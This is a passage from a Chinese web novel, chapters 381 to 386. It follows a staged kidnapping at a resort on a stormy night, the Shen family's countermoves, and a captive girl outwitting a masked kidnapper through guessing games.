【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度99.99999999999999999999999999999999999%】 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度99.99999999999999999999999999999999999%】 连哔三下,他知道他在干什么。 姜花衫:“……” “轰——” 突然,惊雷再次暴动,风雨大作,临湖的四扇窗扉被狂风齐齐撞开,白色的窗纱猎猎作响如无线风筝四处袂飞。 屋里的两人被吓了一跳,立马做出防备的姿势。 此刻,沈归灵眼中没有窒息的雨夜,也没有临近的危险,只有他低下头就能亲吻的红唇。 真的很想亲,想知道和她接吻会是什么感觉? 就这一次,说好的奖励,就一次。 他眼里掠过疯狂,不顾烧的发烫的耳廓,强势俯身凑近,鼻尖相抵的前夕他的衣襟又被狠狠拽住。 沈归灵猛地一下惊醒,脑子里被打乱的秩序瞬间回归正轨。 若现在有一束光,他眼底的慌乱将无处遁形。 他像触电一样甩开桎梏下颚的手,转身走出角落。 姜花衫愣了愣,沈龟灵不会是觉得无法面对她,所以又想做诱饵把人引走吧? 但这次她不需要诱饵啊。 她抬手想拉住他,但已经来不及了。 但见沈归灵如鬼魅一般闪现至其中一人身后,趁其不备,单手勒住歹徒的脖子,一拳击中太阳穴,短短三秒就制服了其中一个。 另外一人立马察觉到了危险,举枪对准沈归灵,由于屋内光线受限,那人并不能第一时间锁定,迟迟不敢扣动扳机。 反而是沈归灵的速度更快,近身后直接一拳击中对方的下颌骨。 “我要早知道你们的体能水平这么垃圾,当初修改报告的时候就应该再严谨一点,把执行任务锁在能力检测B级以上。” 男人呜咽了一声栽倒在地。 姜花衫揉了揉眼睛,一脸震惊从角落跑了出来,“你认识他们?” “嗯。”沈归灵不地道撇过头,他实在不敢告诉姜花衫,早在从这两人一进屋他就认出来了。 “叮——” 就在这时,华灯骤亮,屋外响起了铺天盖地的咒骂声。 姜花衫不适应眯了眯眼睛。 “小花儿!”沈清予率先冲进房间,待看见姜花衫安然无恙时才松了口气,“你没事吧?” 姜花衫摇头,看着地上两人,“这是怎么回事?” 沈清予蹲下身,揭开其中一人的黑色头套。 姜花衫一愣,“这不是周宴珩身边的人吗?” 所以从一开始就没有绑匪,所谓的绑架其实就是周宴珩一手策划的恶作剧? 沈清予起身踹了男人一脚,“周宴珩那鳖孙,真他妈脑子有病。” “……” 姜花衫不知道怎么形容自己现在的心情,因为提前预知会有海寇绑架案,所以即便她一开始怀疑过周宴珩但还是把注意力放在了海寇身上。 难道是她太先入为主,所以把事情想的过度复杂了? … 第381章 证据?漏洞? 谜底揭晓,所有人骂骂咧咧在主厅集合。 沈兰晞坐在人群中央,不管外界如何喧嚣,他至始至终都保持着淡漠疏离的态度,直到姜花衫和另外两人走进主厅,他才终于有了一点反应。 “衫衫。”傅绥尔从椅子上跳了下来,拉着姜花衫上下打量,“你没事吧?” 姜花衫摇头,“没事。你呢?有没有受伤?刚刚外面怎么回事?” 傅绥尔把她拉到窗下,小声道,“我们没事。你和阿灵哥去房间后没多久兰晞哥就回来了,他说有办法抓到绑匪,让我们务必配合。” 姜花衫转头看向被打的鼻青眼肿的绑匪们,豁然开朗,“沈兰晞早就猜到是周宴珩搞的鬼,所以他故意断电,为的就是引诱周宴珩入敌抓个现行?” 傅绥尔点头,“现在看好像就是这么回事。这些人也都招了,绑架顾玉珠,还有今晚过来抓人都是周宴珩授意的。” 担惊受怕了一整夜却被告知被人耍了,饶是对方是周宴珩,女生们此刻也都顾不得体面把他从头到脚骂了个遍。 “没想到周宴珩竟然是这种人,真的太过分了,他把我们当什么了?哗众取宠能的玩物?” “简直就是神经!这件事周家必须要给我们一个说法!” “对!我们现在就去找他要个说法。” 苏韵默不作声观察沈兰晞,她早就知道周宴珩有多恶劣,所以那个男人不管做出什么她都不会意外。 反倒是沈兰晞,他的身份不比周宴珩低,甚至更尊贵,可他身上完全没有上位者的优越感,只有上位者的修养。 今晚这局,所有人都草木皆兵,唯有他游刃有余处变不惊,这份从容让他的冷漠疏离都变得矜贵优雅。 苏韵思忖片刻,终于开启了今晚第二个话题,“沈兰晞,你是怎么发现绑匪就是周宴珩的?” 她的声音不大,但话语一落立马盖过了其他人的声音。 多亏了沈兰晞才有了今晚的劫后余生,大家也很好奇他怎么知道背后搞鬼的就是周宴珩,纷纷附和。 “是啊,沈少爷,跟我们说说呗?” 沈兰晞垂眸,眸光冷了几分。 菜鸡少爷脾气可不好,你们真闲的慌! 高止顶着一张高冷的脸,挺身而出,“各位,时候不早了了,既然事情已经弄清楚了,大家还是赶紧回去休息吧。” 这就下逐客令了? 众人脸色微变,相互看了看却没有一个愿意动的。 余笙目光转圜了一圈,笑了笑,“沈少爷,我们这心里还是有些不踏实。” 周宴珩这种游戏都敢玩,显然是没把大家放在眼里,万一他急了眼找她们不痛快,除了沈家谁能应付?余笙一句话把所有人的担忧说了出来。 沈兰晞,“你们放心,后面的事清予会处理。” 竟敢使唤他? 沈清予撩着眼皮看了沈兰晞一眼,眼神虽是不善,但还是应了口,“事情已经揭开了,周宴珩再玩也就没意思了,你们放心吧,他不敢再找麻烦了。” 这话只有沈家的人说出来才有份量。 蓝黛捂着心口,此刻在没有人比她更庆幸这样的结果,依照现在的情况,所有人只会迁怒周宴珩不会再对蓝家有微词。 众人得了承诺,终于松了一口气,相互扶持出了梨园。 傅绥尔伸了伸懒腰,“终于解决了,一天闹的。” 沈眠枝看了看窗外的天色,“这雨一时半会儿只怕听不了,星星是看不成了,我先回去洗个澡。” “我也去。”傅绥尔转头拍了拍姜花衫,“等我啊。” 主厅那边,沈兰晞、沈归灵、沈清予三人各坐一端。 沈清予,“这四个人怎么解决?” 沈归灵,“先把他们交给酒店,等明天警署厅的人来了再交给他们处理。” 这件事性质恶劣,周宴珩可以恶作剧粉饰太平,但其他人未必有这个待遇。 沈兰晞点头,“可以。” 两人一人一句就把处理完了善后问题,沈清予起身先出了正厅,路过窗下时拍了拍姜花衫的额头,“别在这吹风,回你房间去。” “管我。”姜花衫习惯性回怼。 沈清予的确管不了,顺手把窗户关上。 “……”这人怎么这么幼稚?姜花衫一脸晦气。 恰巧这时,胡经理带着酒店的保安匆匆走了进来,“沈少爷!哎哟!您真是我们酒店的贵人啊,得亏是您,不然我们真是跳进黄河也洗不清了。” 说着眼锋一转看向厅前的‘绑匪’,“就是他们吧?” 沈归灵,“麻烦胡经理再找个地方给他们落脚。” 小人物哪担得起沈家少爷如此抬举?胡经理受宠若惊,弯腰点头,“已经安排好了,正想请您这边过目。” 沈归灵站起身,目光扫了姜花衫一眼,温声,“带路。” “是。” 胡经理转头给保安使了个眼色,假扮劫匪发人被五花大绑架了出去。 姜花衫推开窗扉,透过密集的雨帘看着他们渐行渐远的背影。 直到现在她还是有些恍惚,事情就这么解决了? 也不知是不是之前经历太波折,以至于她对突如其来的顺利有些不适应,她总觉得有什么地方怪怪的,但一时又说不上是哪里不对劲。 “轰——” 霎时,雷电交加云层翻滚,狂风疾走暴雨淋漓,满园的梨花一夕间败的彻底。 姜花衫捂着心口,忽然灵光一闪。 她知道哪里奇怪了,是这场雨。 这雨阻断了他们与外界联系,这似曾相识的一幕让她总是会不自觉想起十三岁那场雨,眼下她们历经的绝对不是普通剧情。 “怎么了?” 她想的太入神,等回过神时沈兰晞不知什么时候已经走到了她面前。 第382章 碟中谍,计中计 暴雨钢针用力拍打着灰色的青瓦,杂乱无序充斥着眼前整个世界。 但,无序其实就是一种信号。 紧接着,她又说道,“周宴珩不可能露出这么明显的破绽,同样,你也不可能会不知道这是破绽,所以……他骗你,你骗我?” “滴答——” 一滴雨被风吹斜溅落在窗台上。 沈兰晞抬眸,深邃的眸光微微潋动。 “还真是。”姜花衫皱眉,转身就要走。 沈兰晞脸色微变,一把拉住她的手腕,“不算骗。” “算不算,你说的不算。” 姜花衫冷笑一把甩开沈兰晞的手,目不斜视往门厅走去。 “……”沈兰晞犹豫片刻,提步跟着上前,再次拉住她的手,“你听我解释。” “不听!” “以后你说的话我一个字都不会信,不对!以后你不许跟我说话,” 为了表达自己的决心,甩开沈兰晞后手臂还转了半圈。 “……” 这要是真让她生气走了,只怕这一年他都别想好过。 沈兰晞自觉承担不了这样的后果,没脾气跟着追了出去,“我们进屋好好说。” 姜花衫一把拍开他的手,浑身上下写满了抗拒。 “……”沈兰晞揉了揉眉心,无奈又无力,“高止搜查山庄时发现了一些可疑痕迹,山庄里的确有歹徒。” 姜花衫脚步一顿,背对着沈兰晞一言不发。等了一会儿没听见下文,又故意扭了扭脖子。 “……”沈兰晞抿了抿嘴角,拉着她的手腕往回走,“你先去里面坐好。” 以姜花衫的性格,真生气八匹马都拉不回,哪还会在这跟他掰扯这么久,他其实心知肚明,但除了被她拿捏好像也没有别的办法。 * 偌大的主厅,摆放着四组真皮沙发,姜花衫身子前倾,双手撑在两侧,灵秀妩媚的桃花眼微眯,带着几分诱人的警告,沈兰晞身子微微后仰,搭在靠背后的手掌慢慢陷进油黑柔软的皮革里。 “这次绝对不能骗我。” “……嗯。” “那你说。” 沈兰晞微微有些迟钝,目光落在两人相抵的膝盖上。 姜花衫这才反应过来,赶紧将盘在沙发上的腿拿了下来,“不好意思,盘习惯了。” 沈兰晞轻咳了一声,故意将目光拉远,“顾玉珠失踪的确是周宴珩做的,但破坏信号房的不是他,的确是有歹徒潜进了山庄里。” “那为什么要告诉大家歹徒就是周宴珩?” 姜花衫不解,现在所有人都没有了危机意识,真正的歹徒岂不是更容易得手? “这件事说来有些复杂。我是在顾玉珠失踪后才发现有人潜入山庄的,但这些歹徒极有可能在我们之前就已经埋伏好了,我问过酒店经理了,周宴珩比我们提前一天抵达酒店。” 姜花衫神情微动,“你是说……” “嗯。”沈兰晞点头,“我怀疑周宴珩在我之前就已经发现了山庄里有歹徒,他故意拿走射击馆的枪械除了透露自己之外,真正的目的是防止这些东西落在我们手里。” “你是说,他在明知有歹人的情况下还助纣为虐?” “没错,我怀疑……” 姜花衫眸光一定,“周宴珩跟那群人是一伙的?” (这个局有点复杂,我尽量写明白点) 少的字数我晚点会补齐,大家明天起来看。 第383章 雨夜谋算 “轰隆——” “姜小姐,眠枝小姐,坚持一下,过了前面的廊桥就到了。” 雷声越来越大,似要将天幕凿出一个窟窿,雨也越下越大,泛滥成灾。 姜花衫和沈眠枝披着雨衣搀扶前行,她们甚至都不敢抬头,因为暴雨打在脸上比巴掌还疼。 一行人穿过廊桥,终于抵达了酒店的电影厅。 高止轻车熟路将两人引向密道,中途还不忘细细叮嘱,“姜小姐、眠枝小姐,你们一定记住,除了少爷任何人让你们开门都不能开。” 沈眠枝点了点头,默默看了姜花衫一眼。 密道一共有两道门,外面是密码门,最里面是防炸门。 门外有监控,不管是谁敲门,里面的人都能看的一清二楚。 高止按照约定按响门铃,可等了一会儿,大门一点儿反应都没有。 三人对视了一眼,神色凝重。 看来她们还是低估了人性,只怕是有人担心她们招来匪徒不愿意开门。 高止脸色铁青,再次按响门铃。 又等了足足一分钟,还是没有反应。 高止还想再试,沈眠枝出声打断,“算了,不是已经有结果了吗?何必强人所难。” 这句强人所难极具讽刺。 姜花衫并未在意,上一世她被赶出沈园,这样的人情冷暖见得多了。 这些个不重要的人根本激不起她半点情绪,相比在这浪费是时间,还不如去找绥尔来的有意义。 三人正欲转身,身后的大门突然发出声响,门缝越来越大,直到足以容下一个成年男性的身量才停了下来。 “快进来吧。” 苏韵从里面走了出来,虽然她极力掩饰,但还是看得出脸上神情有些不自然。 姜花衫和沈眠枝相互看一眼站在原地没动,高止眼中闪过一抹杀气,略过苏韵径直走进密室。 密室里的人见高止凶神恶煞都有些局促,三两扎堆不敢对视。 高止逡巡了一圈,确认安全才退了出去,转头朝姜花衫点了点头。 姜花衫会意,“这里我们自己处理,兰晞哥那边还需要你,你先走。” 高止脸色凝重,瞪了苏韵一眼转身出了密道。 苏韵眉头微皱,方才拦着不许开门的可不是她,她正要解释,但目光对上姜花衫时又咽了回去。 “……” 每次面对姜花衫,苏韵都会有些许不自在,并非敌意,而是某种不受控制的厌弃感。 那年暗巷不体面的相遇,姜花衫总能让她想起自己某一瞬间的卑劣。 苏韵勉强笑了笑,转头看向沈眠枝,“快进来吧。”说着转身进了密室。 沈眠枝回头看向姜花衫,“你去吧,我一个人可以的。” 姜花衫微愣。 沈眠枝指着身后的石门,“你放心,我一定保护好自己不给你们添乱。” * 临湖中心的楼院此时灯火通明。 周宴珩双手抱胸倚着门框,目光幽深看着天边的紫电。 “这他妈的什么鬼天气!” 关鹤小跑着进屋,他身上的衣服已经完全湿透了,索性直接脱了下来,倒头栽进沙发。 周宴珩转头看他,“沈清予走了?” “走了。”提起沈清予,关鹤脸色登时不好,“那狗东西,还敢上门教训我们,老子看他能狂多久?” “人都通知了?” 关鹤坐了起来,“都埋伏好了,保管叫那孙子有去无回。” 周宴珩,“其他人呢?” “他们现在认定是我们恶作剧,人都已经送回去了。只要海寇那边得手,这局就算做成了。” 关鹤忽然想到什么,带着几分不安,“阿珩,沈家那三兄弟不简单,要是失败了……” 周宴珩笑了笑,眼底的杀意蠢蠢欲动,“那正好,我们就拿这些海寇换点军功。” 沈归灵不是自觉有军功傍身高人一等吗? 一个上不了台面的私生子还妄图跟他比?他倒要看看,他敢玩,沈归灵敢奉陪吗? * 另一边,沈清予警告完周宴珩便向梨园狂奔,雨中急行,浑身上下已经湿的不能再湿。 路上正好经过看星星的草地,帐篷已经不知去向,星星灯钩着钢钉随大风摇摆。 沈清予停下脚步,不知为何,他脑海里忽然闪过姜花衫望着天空,说,还有我啊的骄傲模样。 他犹豫片刻,转身跑进草地,就在他蹲下身准备取灯时,一颗高速旋转的子弹穿过雨帘从他头顶飞驰而过。 雨声太大淹没的枪声。 沈清予看着眼前被掀翻的草皮,脸色瞬间凝固。 下一秒,他的四周飞过无数弹片。 草地没有遮挡不利于躲藏,沈清予抱头迅速往桥廊跑去。 …… 第384章 这个杀手有点蠢 “唔唔唔!!!” 闪电从将窗外的夜景劈成两半,暴雨像钢针一样敲击玻璃,水花爆开发出杂乱无序的乒乓声。 傅绥尔贴着地板大声嘶喘,因为手脚被缚,她只能像只毛毛虫一样蠕动身体,企图用磨蹭的方式取下嘴上的胶带。 “哒哒哒——” 皮鞋的踩踏声通过地板震动传入耳膜,这低闷的声音盖过了窗外的雨声。 有人来了。 脚步声越来越近,因为脸上蒙着黑布,她看不清来人是谁? 但她知道那个人现在就在她面前,他也在看她。 傅绥尔身体僵硬,不着痕迹挪动身体往后退。 不是说没有劫匪了吗?为什么还会有人绑架她?他们到底有什么目的? 衫衫她们怎么样了?会不会也上当了? 正当她胡思乱想,脑门莫名挨了一个脑瓜崩。 脑瓜崩?! “……” 脑子里那些胡思乱想的情绪一下就给拍飞了。 “你就是姜花衫?” 很难听的声音,带了变声器。 傅绥尔眼睑轻颤,呼吸轻了几分。 原来他们想抓的人是衫衫。 见她没有反应,凶徒抬手又给了她一个脑瓜崩,“跟你说话呢。” “……”傅绥尔仰起头,嗯了一声。 “哦,原来嘴巴被堵住了,不好意思啊,我的人太粗鲁了一点。” 凶徒笑的很敷衍,嘴上说着抱歉,但下手丝毫不见手软,手起刀落一声巨响,胶带被撕下了。 “……” 傅绥尔闷哼了一声,忍着疼急声反问,“你是谁?为什么抓我?你想干……唔唔唔……” “好吵。”凶徒不耐烦顺又贴了回去,“你哪来这么多问题,我是绑匪你是绑匪?” “……”傅绥尔抬了抬脖子,“恩系。” “知道就好,我问你答,再多说一个字就割了你的舌头,懂?” 傅绥尔点头。 凶徒再次撕开胶带,二是伤害让傅绥尔的脸又红又肿,他低头看了一眼,满脸嫌弃,“真丑。” 傅绥尔,“……” 凶徒站起身,绕着她打量了一圈,再次问道,“你是姜花衫?” 虽然她不知道歹徒有什么目的,但既然他们的目标是衫衫她就不会让他们得逞。 傅绥尔犹豫片刻,从地上爬了起来,抖如筛糠,“ 我……是。” 这声回答之后是冗长的沉默。 忽然,她感觉有气息逼近,下一秒她被掐住了脖子,被迫扬起脸。 即便现在眼睛看不见,但她还是感觉到了被毒蛇紧盯的压迫感。 傅绥尔的心顿时提到了嗓子眼,她和姜花衫的外形差别太大,也不知道能不能蒙混过关? 又是一阵沉默,但这次结束的很快。 白密皱眉,山狼面具下的俊脸皱成了一团。 眼前的女孩儿上半张脸蒙着黑布,下半张脸又红又肿,再加上他有轻度脸盲,根本分不清她是谁。 正是因为他认不出,所以才反复确认。 白密起身,绕过茶几入座,翘着二郎腿一边打量一边思考。 眼下这种情况,但凡有脑子的正常人都不可能冒认。 应该不会错。 “是,就好办了。” “有笔旧账要找你算算。不过看在你是女的的份上,我给你个机会,只要你能在十分钟内解开身上的绳索,我就放了你,但若是不能……” 他顺手抽出盘子里的水果刀,像掷飞镖一样扔了出去,锋利的刀刃嗖的一下划过傅绥尔白皙的侧脸,留下一道浅浅的血痕。 “就只能死了。” “……” 傅绥尔低头不语,大脑却在高速运转。 这个绑匪是怎么回事,不仅认不出本尊,还有心思在这玩游戏?难道是周宴珩的人? 她象征性动了动身体,手脚的绳索越挣扎越紧,想要自己解绑根本不可能。 白密,“你还有九分钟。” 傅绥尔咬牙,“换个规则,我保证三分钟可以解开绳索,还是你亲自帮我解开。” “这么快就吓出癔症了?” 傅绥尔,“你不敢试?” “……”胆子挺大,白密挑眉,“说来听听。” 傅绥尔,“我跟你赌运气,你出题,如果我赢了你就答应我一个条件。” “赌运气?”白密像看傻子一样打量她,“你要是运气好还会落在我手里?” “你就说,你敢不敢?” 白密嗤笑了一声,扯着嘴角,“你就是这么玩死他的?好,我跟你赌。” 说着他一脸悠哉靠着软枕,单手支颐问道,“那就猜猜我头发的颜色。” 头发? 傅绥尔愣了愣,头发可以染色,只要他够骚什么颜色都有可能,这怎么猜? “这就本事?”白密顿觉无聊透顶。 “粉色。” “……” 气氛突然凝结。 白密神情古怪摸了摸发顶,因为白毛太扎眼了怕被认出来,他特意带了顶粉色的假发。 “你不说话,我猜对了?” 白密心情莫名不爽,不是因为他输了,而是她竟敢猜粉色,正常人谁会猜一个变态凶匪的头发是粉毛? 傅绥尔小心翼翼,“那我提条件了,把我眼罩摘下。” “眼罩?”白密撩眸打量地上的少女,“你是不是傻啊?” 她刚刚赢了,只要她提出让他帮忙松绑就可以走了,虽然他还可以再抓,但好歹多一次机会。 傅绥尔舔了舔发干的嘴角,小声道,“我没傻,我还要玩。” “……”白密被气笑了,玩死了他那不争气的舅舅现在还想来玩他? 他站起身,慢慢走向傅绥尔,身子前倾指尖一勾扯下了傅绥尔脸上的黑色眼罩。 屋里灯光原本就很昏暗,两人目光对上同时一愣。 好骚。 好丑。 两人又同时读懂了对方眼里的嫌弃,白密一把掐住傅绥尔的脸,“你这什么眼神?信不信我剜了你的眼珠子。” “你掀太急,我刚刚被风吹迷糊了。” 若是平时傅绥尔早一脚踹上去了,但眼下龙困浅滩,由不得她横,只能低头示弱。 “你……”白密皱眉,盯着她的脸打量,“你怎么跟电视上长的不太一样?” 傅绥尔心漏了一拍,但很快她抓取到了对方的信息点,这个歹徒对衫衫的样貌很不熟悉,不然不也不会迟钝到现在都认不出。 不知道长什么样子就敢抓人,那么他依仗的应该是别的信息。理所当然的,傅绥尔就想起了她和姜花衫无意之间互换了房间,是酒店入住信息。 “你眼睛一直打转,是不是在打什么鬼主意?” 傅绥尔立马打起精神哄骗,“没有。我就是姜花衫,我本人就长这样,怎么说,我是属于超级上镜那种。” 白密总觉得哪里有些不对劲但又说不上,遂一把推开傅绥尔,“下一个。” 傅绥尔暗暗舒了一口气,鉴定完毕,这个杀手有点蠢。 白密全然不知道自己已经被看轻,从腰间掏出一把左轮手枪,娴熟转出转轮取出八枚子弹,转轮上膛指向傅绥尔的眉间。 “猜猜哪一发会结果你这条小命?”面具是琥珀眼带着漫不经心的挑衅。 傅绥尔只迟疑了一秒,“第五发。” 白密脸色微变,对着她的眉心连扣四下扳机,傅绥尔眼睛都不眨跪的笔直。 四发轮空。 白密笑了笑,举枪的手臂呈90度旋转。 “砰——” 一声巨响,子弹穿过气流正中五斗柜上的花瓶。 的确是第五发。 白密看了傅绥尔一眼,转身坐回沙发,打开弹膛,挨个往转轮里填子弹。 “说吧,你的条件是什么?” 傅绥尔,“我想你摘掉面具让我看看。” “咔——” 白密指尖一顿,瞳仁微微收缩,漫不经心转过头,“你……说什么?” …… 第385章 意料之外 屋外疾风骤雨,两人目光对撞,一个带着意味不明的审视,一个带着小心翼翼的试探。 察觉到白密的眼神越来越危险,傅绥尔连忙低头,弱弱道,“刚刚是我赢了,你该不会是输不起吧?” 谁输不起,白密嗤笑了一声,偏头解开面具的绑带。 这么有契约精神的歹徒可不多见。 傅绥尔暗暗松了一口气。 经过几轮接触,她大概能推断出这个笨蛋凶匪应该没有恶意,他的行为看似恶劣,但实际没有对她产生真正的伤害,因为若是真正的恶人,早在她第一次讨价还价的时候就不会给她机会了。 他与她两次做赌都是游戏心态,显然是把这次绑架也当成了一场游戏。 难不成真跟周宴珩应有关? 可跟周宴珩交好的那些人中没有一个能跟这笨蛋对上号的。 她到底是什么人? 白密握着山狼面具从上揭开,傅绥尔凝神,目不转睛盯着眼前的凶徒。 “轰隆——” 闪电划过夜幕,昏暗的屋内照如白昼。 光亮骤起的瞬间,面具落下,映入眼帘的是一张白无常的扑克脸谱,光影消退,白密歪头朝她笑了笑,那笑容毫无生机看着诡异瘆人。 “!” 傅绥尔被吓的抖了一激灵,尖叫声卡在喉咙不上不下。 恍了很久,她才发现意识到原来是带了张脸谱。 “……” 是不是有病啊!?戴了面具还戴脸谱,这是有多见不得人? 傅绥尔气的脸色发白,但因为受制于人敢怒不敢言。 白密一脸愉悦,“怎么?很失望?” 得亏他做了两手准备,不然要是被抓了现行,那老太太一定会抡死他。 “没……没有。”傅绥尔呵呵笑了两声,一副人畜无害的乖巧模样,“那,我们继续?” “……”白密眯眼,面无表情打量傅绥尔,这肉票有点邪门,到底什么来路? 傅绥尔缩了缩脖子,“你要是不玩,那就算我赢了。” 倒是敢想! 白密冷笑了一声,掏出手机随意点了点,起身走到傅绥尔面前,“拆弹游戏玩过吗?” 傅绥尔摇头。 白密蹲下身,点开图像,“这是一张计时炸药的引线图,里面一共有75条电子引线,只要你剪错一根就会触动引爆装置,拆弹时间3分钟。” 傅绥尔眉头微蹙,七十五根线?每一根都不能出错,若以概率来换算这难度是前两次的百倍还不止。 “怎么?不敢了?” 这可是军政学府教考测题的题王,其难度堪称魔鬼地狱级,被它炸死的军院学生没有一万也有八千,就连沈家那几个装逼货都没解出来。他就不信了,这丑东西能一直这么好运。 傅绥尔深吸了一口气,“我试试。” 说着,她侧身抬了抬被绑的手臂,“要不你先给我松绑?” “少动歪脑筋。”白密盘腿坐下,一副大爷模样,“你说,我剪,炸了我就送你上路。” “……”傅绥尔瘪了瘪嘴,“你先剪最上面那根。” 最上面那根? 白密皱眉看了她一眼,屏幕有两张图,一张是炸弹内部结构,还有一张是电线特写,但傅绥尔直接越过炸弹内部,扫了一眼就开始指挥。 这么看,还真是纯靠运气。 白密只觉这局稳了,抬手切掉了最上面一根。 由此,倒计时开关正式启动。 傅绥尔表情凝重,抬了抬下巴,“第二排倒数第三根,那条黑色的。” 白密抬手,正准备剪,又听见她说,“就这条不动,其他的全剪了。” “……” 白密一愣,略带迟疑看着她,“为什么?” 傅绥尔也愣住了,“什么为什么?” 她哪知道,就感觉啊。 白密问完立马就后悔了,咔嚓一刀把上排的线都划了,原以为游戏会在此刻结束,可是并没有,倒计时依旧还在继续。 “你快点,别耽误时间。”傅绥尔见他突然顿时,立马催促。 白密说不上什么心情,点着二排一路划,等到整个电路只剩三根线时,他完全震惊了,看了看电路又看了看傅绥尔。 不会吧? 两指在屏幕轻轻一点,另外两根线也断了。 “叮——” 倒计时结束,2:45,仅用时15秒。 “呼~好险。”傅绥尔大舒了一口气,笑脸盈盈看向眼前的男人,“我赢了。” 白密怔怔看着手机显示的提交页面,人麻了。 他是谁?他在哪?他在做什么? 最终他满是戒备看向傅绥尔,“你会巫术?你就是用巫术杀死他的?” “他?”傅绥尔神情微动,“你说的他是谁啊?你就是因为这个人所以才绑架我吗?” 白密站起身,双手插兜,“说吧,第三个要求是什么?” 傅绥尔,“我想知道你为什么要绑架我?” 白密,“看不起我?” “没有啊,为什么这么说?”傅绥尔一头雾水,她果然跟不上傻子的思路。 “三次机会你都没有选择逃走,一次比一次得寸进尺,你就这么笃定我不敢拿你怎么样?你不怕我?” “嘿嘿。”傅绥尔咧嘴笑了笑,都说伸手不打笑脸人,她尽量让自己看上去不怎么聪明。 “你也看到了,我的运气可是很好的,所以,我觉得我遇见你应该也是幸运的事,所以我不怕你。” 还挺会说。 白密冷哼一声,“当然幸运了,要不是我,你早就被树上的杀手干掉了。” 傅绥尔嘴角的笑容顿时僵住,“你……你说什么?” 白密瞥了她一眼,眼中难得带了几分欣赏,“没想到你小小年纪还挺招人恨的,不光我要抓你,还有杀手要杀你。” 杀手。 杀她? 杀衫衫? 傅绥尔猛地起身,“我再跟你赌一把,如果这次我赢了,你给我解绑。” 白密抬手推开她,“没兴趣了。” 军政题王都能蒙对的人,这已经不是运气了,是邪术,他脑子有坑才会继续。 傅绥尔一时没站稳栽倒在地,见白密一脸冷漠,心下凉了半分。 “我知道你不是坏人,我求你了,不管你要问什么,我都告诉你,你放我走好不好?” 白密撇过头,“现在外面不是土匪就是杀手,你出去做什么?送死?” 傅绥尔怔然,“土匪?杀手?土匪不是杀手?有两伙人?” “啧啧~”白密歪头比划出四根手指头,“不止,加上我,今晚一共有四伙人。” …… 第386章 除夕快乐 四伙人? 听到这个消息,傅绥尔只觉天都塌了,不是说一切都是周宴珩恶作剧吗?怎么一下冒出这么多人? “我不信,你骗我!兰晞哥明明说……” “兰晞哥?你的兰晞哥就是这里最大的骗子。” 白密原本懒得解释,但一想到这两年被沈兰晞压制的毫无还手之力就无名恼火,沈家那三兄弟一个比一个邪门,能给沈兰晞找点不痛快,他乐意至极。 “你才是骗子!”傅绥尔恶狠狠瞪着白密,“你才是胡说八道,兰晞哥光风霁月从不撒谎,我知道了,你是嫉妒我们沈家,嫉妒我几个哥哥优秀,你想挑拨离间。” “我嫉妒沈兰晞?”白密提起这个名字都觉得晦气,上前对着傅绥尔就是一个脑瓜崩,“怎么?一说沈兰晞你就崩不住了?警告瞪我?” 傅绥尔红着眼睛,冲他大吼,“我就瞪你了!你就是嫉妒!” “……”白密气的牙痒痒,沈家人怎么一个比一个讨厌? 他冷笑了一声,“光风霁月,被人卖了还帮人数钱。实话告诉你,沈兰晞早就知道今晚会出乱子,而且他默许了这场混乱的发生。不对,应该说你那三个装逼哥哥都知道,他们为了自己的利益,无视你们的安全。” 傅绥尔脸色铁青,“不可能!” “有什么不可能?同胞兄弟为了利益都能反目为仇,何况你们还隔了层肚皮。” “我不信。” 傅绥尔死死握拳,这坏蛋说的他一个字都不信,虽然三房长辈各有龃龉,但那是父辈之间的事,他们一起长大,这份情谊不会有假。 这世上总有天真愚昧的傻人,白密忍不住嗤笑。 “你不会真的相信,这一切都是周宴珩的恶作剧吧?沈兰晞早就知道周宴珩与海寇合谋了,他之所以遮掩事实,除了麻痹周宴珩之外,最大的原因是为了清理战场。” “清理战场?” 白密转身入座,气定神闲,“没错,因为只有安抚好你们,你们才会乖乖按他说的做,至于他为什么要清理战场……” 素白面谱下的琥珀眼闪过狡黠的笑意,“那是因为,早在你们来山庄之前,沈兰晞就已经知道有人要暗杀他了,你猜他明知山庄有鬼为什么还要来?” 傅绥尔神情微动,以身入局。 “看来还不算太笨。”白密没有错过她眼底异样,耸了耸肩。 “现在你明白了?你的兰晞哥为了铲除对他有危险的人,故意设下了陷阱想要引蛇出洞。但他没想到,山庄里竟然还有另外一批人潜伏,更没想到周宴珩还跟海寇合伙,所以为了不影响他的计划,他只能先清理周宴珩和土匪。” 傅绥尔抬眸,“可是……你刚刚说有四伙人。” “没错。”白密言语中带着几分幸灾乐祸,“就是因为沈兰晞太自以为是了,所以老天连都不帮他,他和沈归灵自诩算无遗策,但还是棋差一招。天降暴雨,信号系统全被破坏,也就是这个时候我和另外一批人偷偷潜入了山庄。” “你怎么知道还有一批人?” 白密眸光微沉,言语中带了几分不屑,“当然是碰上了。那小子也是个狠角色,那么大的雨还敢趴在树上伏击,他也不怕被雷劈死。” 说着,他恶劣笑了笑,“不得不说为了杀你,他还挺卖命的。” “杀我?”傅绥尔忽然想到什么,声音不觉抖了起来。 见她发抖,白密皱了皱眉,“怕什么?你现在跟着我很安全,那群人被我绕晕了暂时找不到我们。这么看,你还真挺走运的。” 傅绥尔看着他,“你呢?为什么会来?为什么要抓姜……我?” 白密扯着嘴角,笑而不语。 他来当然也是有心之人的安排,之前有人给他的侍卫长送来一封密信,信中说是姜花衫杀死了白峥,不仅如此,上面还附赠了山庄地形图和姜花衫的酒店房间号。 他又不是傻子,对方安排如此周密无非是想借刀杀人。 只不过背后那人看走了眼,虽然他与白峥是血缘至亲,但他对那个变态舅舅可没什么感情,之所以要绑姜花衫,不过是为了白峥手里的那份资料。 所以,这四批人里,反倒只有他希望姜花衫好好活着,不然也不会出手对付那群人。 见他不答,傅绥尔又换了个问法,“你对我没有敌意,对不对?” “……”白密还是没有回答。 傅绥尔的心一下落到了谷底,也就是说,如果衫衫真的被这个笨蛋劫走反而更安全,是因为她们莫名其妙交换了房间,所以危险对调了。 “轰——” 雷雨咆哮,照亮了屋内的昏暗。 傅绥尔抬头,白密坐在昏暗灯光里,惨白是无常面谱看上去没有一丝人情味。 她沉默片刻,身体贴向地面,像蚕蛹一般慢慢向白密挪动。 “你放了我吧,他们现在很危险,我要去找他们。” “……”白密看着她,眸底闪过暗芒,“你出去也是送死。” 傅绥尔迎着他的目光,“我知道,所以我想拜托你跟我一起去。” 